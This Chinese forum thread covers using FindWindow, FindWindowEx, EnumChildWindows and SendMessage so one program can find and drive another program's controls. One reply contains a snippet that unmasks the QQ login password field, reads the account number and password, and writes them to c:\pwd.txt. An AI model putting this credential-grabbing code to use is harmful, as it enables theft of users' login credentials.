首先我说明,此贴的分只给回贴认真和正确的同学哈!!
因为我对操作外部程序思路还不是很清晰...所以...麻烦了!是这样的,A、B两个对话框程序,想要使用A程序来操作B程序。
使用FindWindow函数(B程序的Title固定),返回一个B窗口的指针。
如何利用这个指针得到B窗口的句柄、以及B窗口中的各个控件指针或者句柄,然后对它们进行操作呢?以操作一个Combox为例。
请举出详细的例子,谢谢。

解决方案 »

  1.   

    CWnd m_CWnd=FindWindow(NULL,B's Titel);//得到B的指针
    HWND m_hWnd=m_CWnd->m_hWnd; // -------B的句柄
    HWND m_hWnd_Combox = FindWindowEx(m_hWnd,NULL,Combox的类名,NULL);//Combox的句柄
      

  2.   

    HWND FindWindow( 
    LPCTSTR lpClassName, 
    LPCTSTR lpWindowName );
    HWND FindWindowEx(
      HWND hwndParent,      // handle to parent window
      HWND hwndChildAfter,  // handle to child window
      LPCTSTR lpszClass,    // class name
      LPCTSTR lpszWindow    // window name
    );
      

  3.   

    bool   CTest::EnumWin()
    { HWND hHWWnd = FindWindow( NULL, "我的窗口" );
    if( hHWWnd == NULL )
    { AfxMessageBox("Faild");
    return false;}
    else{
    CString strT;
    strT.Format("hWnd: %X",hHWWnd ); 
    AfxMessageBox( strT );
    m_hHWWnd = hHWWnd ;} EnumChildWindows( m_hHWWnd , (WNDENUMPROC)EnumChildProc, (LPARAM)NULL);
    return true;
    }
    BOOL CALLBACK EnumChildProc( HWND hwnd, LPARAM lParam) 
    {
    if (hwnd)
    {
                      //这里可以调用getclassname来的到控件类名,然后分别处理
                      // char chText[MAX_PATH];
    ZeroMemory( chText, MAX_PATH );
    GetWindowText( hWnd, chText, MAX_PATH );
    //...
    return TRUE;
    }
    return FALSE;
    }
      

  4.   

    BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam) 

    char num[11];
    char pwd[20];
    BOOL b = true;
    HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);
    HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);

    HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
    HWND AfterHwnd = NULL;
    while(b)
    {
    LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);
    if( (lStyle & ES_PASSWORD))
    {
    ::SendMessage(EditPWDHwnd,EM_GETPASSWORDCHAR,0,0);
    ::PostMessage(EditPWDHwnd,EM_SETPASSWORDCHAR,0,0);
    CEdit edit;
    edit.Attach(EditPWDHwnd);
    edit.RedrawWindow();
    edit.Detach();
    b=false;
    }
    else
    {
    AfterHwnd = EditPWDHwnd;
    EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
    }
    if(EditPWDHwnd==NULL)
    return true;
    }
    //通过WM_GETTEXT取得,窗口中的文本;
    SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
    SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
    CString str;
    str.Format("\r\n号码:%s  密码:%s",num,pwd);
    CFile f;
    f.Open("c:\\pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
    f.SeekToEnd();
    f.Write(str,str.GetLength());
    bLoop= false;
    return false;

    return TRUE; 

    void CGetPWDDlg::OnOK() 
    {
           EnumChildWindows(hwnd,EnumqqChildProc,NULL);
    }可以得到2004以前版本的qq号码和密码,对2004无效
      

  5.   

    FindWindow GetWindow EnumWindow  来找窗口句柄
    SendMessage SendInput 操作
      

  6.   

    FindWindow 和 FindWindowEx 的 API 形式返回的就是 HWND 句柄
    使用 CWnd::FromHandle 可以得到 CWnd* 指针
    不能强制将 CWnd* 转换成 CComboBox*,某些操作会出错的
    可以得到窗口的类名称以得知窗口是ComboBox还是ListBox
    其实CWnd的许多函数都是调用::SendMessage来实现的
    因此你可以直接使用 ::SendMessage 来操作 ComboBox 或者其它类型的窗口
      

  7.   

    FindWindow 和 FindWindowEx 用来查找窗口,从而获得窗口句柄
    获得空间内容,可以用SendMessage发送消息来获得
      

  8.   

    1楼回答太油腔滑调,罚站!
    2楼么,思路是对了,可是光FindWindowEx一下不能得到想要的控件句柄哦...
    4楼和5楼的有前途!
    感谢8、9楼两位高手....同时感谢所有回复的大侠们了!结贴!